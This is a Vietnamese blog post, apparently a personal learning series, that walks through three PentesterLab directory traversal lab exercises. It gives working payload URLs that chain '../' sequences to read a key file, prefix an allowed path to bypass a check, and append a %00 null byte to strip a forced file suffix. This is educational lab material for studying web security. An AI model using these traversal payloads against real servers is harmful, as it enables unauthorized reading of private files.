By using this site, you agree to the Privacy Policy and Terms of Use.
Accept
FantasistaFantasista
  • Home
  • Network
  • System
  • Software
  • Security
    SecurityShow More
    Hướng dẫn chung về Kali Linux
    27/05/2022
    Ransomware tấn công có chủ đích vào các tổ chức
    03/11/2021
    Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
    04/10/2021
    Series Pentesterlab – Day 21: From SQL Injection to Shell
    15/09/2021
    Series Tryhackme – Day 01: Starting Out In Cyber Sec
    13/09/2021
  • Coding
  • Life
Search
© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
Reading: Series Pentesterlab – Day 07: Directory Traversal
Share
Sign In
Notification Show More
Latest News
Hướng dẫn chung về Kali Linux
27/05/2022
Ransomware tấn công có chủ đích vào các tổ chức
03/11/2021
Hướng dẫn kích hoạt IDM Full không cần crack, sử dụng key an toàn
10/10/2021
Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
04/10/2021
Series Pentesterlab – Day 21: From SQL Injection to Shell
15/09/2021
Aa
FantasistaFantasista
Aa
Search
Have an existing account? Sign In
Follow US
© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
Fantasista > Blog > Fantasista > Bảo mật > Pentest > Series Pentesterlab – Day 07: Directory Traversal
Bảo mậtPentest

Series Pentesterlab – Day 07: Directory Traversal

Fantasista
Fantasista 28/08/2021
Updated 2021/08/29 at 11:24 Chiều
Share
2 Min Read
SHARE
Mục lục
Directory Traversal 01Directory Traversal 02Directory Traversal 03

Pasted 1 - Series Pentesterlab – Day 07: Directory Traversal

Pasted 3 - Series Pentesterlab – Day 07: Directory Traversal

Pasted 4 - Series Pentesterlab – Day 07: Directory Traversal

Pasted 5 - Series Pentesterlab – Day 07: Directory Traversal

Directory Traversal 01

Đường dẫn ban đầu của phần này như sau:

https://ptl-b84ecae9-e2953215.libcurl.st/

Chúng ta cần vào xem đường dẫn của ảnh bằng cách nhấn chuột phải vào ảnh và chọn copy image link:

Pasted into Series Pentesterlab – Day 07 Directory Traversal - Series Pentesterlab – Day 07: Directory Traversal

Chúng ta sẽ thấy đường dẫn ảnh như sau, đây là phần chúng ta có thể khai thác:

Pasted into Series Pentesterlab – Day 07 Directory Traversal 1 - Series Pentesterlab – Day 07: Directory Traversal

Thay đường dẫn đến file chúng ta cần đọc bằng cách sửa đối chuỗi sau dấu phẩy:

1
https://ptl-b84ecae9-e2953215.libcurl.st/file.php?file=../../../../../../../../../../../../pentesterlab.key

Directory Traversal 02

Ở phần này chúng ta sẽ nhìn thấy đầy đủ đường dẫn đến file. Tuy nhiên nếu chúng ta thay toàn bộ đường dẫn đó bằng /etc/password thì sẽ không nhận được gì vì đã bị check ở code php. Tuy nhiên chúng ta có thể thay đổi ở phía sau đường dẫn như sau:

1
https://ptl-f61311fe-e6e7e36a.libcurl.st/file.php?file=/var/www/../../../../../../../../../../../../pentesterlab.key

Directory Traversal 03

Phần này nói về việc loại bỏ hậu tố của file (đuôi file). Ví dụ ở đây là:

1
http://ptl-27ac005a-c3b85b74.libcurl.st/file.php?file=hacker

Thực tế file là hacker.png nhưng đã bị loại bỏ hậu tố .png. Nếu chúng ta vào đường dẫn sau thì sẽ không nhận được gì mặc dù file image đúng là có đuôi là png:

1
http://ptl-27ac005a-c3b85b74.libcurl.st/file.php?file=hacker.png

Tương tự nếu chúng ta thay thế path dẫn đến file key để giải quyết bài toán thì cũng sẽ không nhận được gì vì code đã hide phần đuôi file:

1
https://ptl-27ac005a-c3b85b74.libcurl.st/file.php?file=../../../../../../../../../../../../pentesterlab.key

View source code tại URL này chúng ta sẽ thấy phần xử lý suffix:

Pasted into Series Pentesterlab – Day 07 Directory Traversal 2 - Series Pentesterlab – Day 07: Directory Traversal

Để hiện thị hậu tố chúng ta thêm NULL BYTE vào cuối URL (URL encode là %00), ở phần này đoạn code thêm vào URL sẽ là:

1
https://ptl-27ac005a-c3b85b74.libcurl.st/file.php?file=../../../../../../../../../../../../pentesterlab.key%00

 

 

 

 

You Might Also Like

Hướng dẫn chung về Kali Linux

Ransomware tấn công có chủ đích vào các tổ chức

Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Series Pentesterlab – Day 21: From SQL Injection to Shell

Series Tryhackme – Day 01: Starting Out In Cyber Sec

TAGGED: pentesterlab

Sign Up For Daily Newsletter

Be keep up! Get the latest breaking news delivered straight to your inbox.
By signing up, you agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time.
Fantasista 28/08/2021
Share this Article
Facebook TwitterEmail Copy Link Print
Share
Posted by Fantasista
Follow:
Xin chào, mình là Tân. Mình tạo blog này 01/06/2021. Đây là nơi mình ghi chép lại những suy nghĩ, cảm nhận trong cuộc sống và những kiến thức mà mình học được.
Previous Article Series Pentesterlab – Day 06: Command Execution
Next Article Series Pentesterlab – Day 08: File Include
Leave a comment Leave a comment

Trả lời Hủy

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Stay Connected

235.3k Followers Like
69.1k Followers Follow
11.6k Followers Pin
56.4k Followers Follow
136k Subscribers Subscribe
4.4k Followers Follow
- Advertisement -
Ad imageAd image

Latest News

Hướng dẫn chung về Kali Linux
Bảo mật Công cụ bảo mật 27/05/2022
Ransomware tấn công có chủ đích vào các tổ chức
An toàn thông tin Bảo mật 03/11/2021
Hướng dẫn kích hoạt IDM Full không cần crack, sử dụng key an toàn
Phần mềm Tiện ích 10/10/2021
Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
Bảo mật Pentest 04/10/2021
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg
@envato
1.5k Following
71k Followers
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg 48 phút ago
@reputeinfosys Hi there, can you provide us with the ticket number to your request and we will make sure someone ge… https://t.co/TPdKynvll8
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg 1 giờ ago
@joeyancey_ Hi there, we would be more than willing to review this case for you. Please submit a support ticket her… https://t.co/V7jXIg1G3q
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg 10 giờ ago
@barts_ron Hi! Thanks for contacting us. It looks like all our systems are running smoothly. You can check the stat… https://t.co/Haz9yXFnMM

You Might also Like

Hướng dẫn chung về Kali Linux

27/05/2022
An toàn thông tinBảo mật

Ransomware tấn công có chủ đích vào các tổ chức

03/11/2021
Bảo mậtPentest

Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

04/10/2021
Bảo mậtPentest

Series Pentesterlab – Day 21: From SQL Injection to Shell

15/09/2021
//

We influence 20 million users and is the number one business and technology news network on the planet

Quick Link

  • About
  • Contact
  • FAQs

Top Categories

  • Home
  • Network
  • System
  • Software
  • Security
  • Coding
  • Life
FantasistaFantasista
Follow US

© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.

Join Us!

Subscribe to our newsletter and never miss our latest news, podcasts etc..

Zero spam, Unsubscribe at any time.

Removed from reading list

Undo
Welcome Back!

Sign in to your account

Register Lost your password?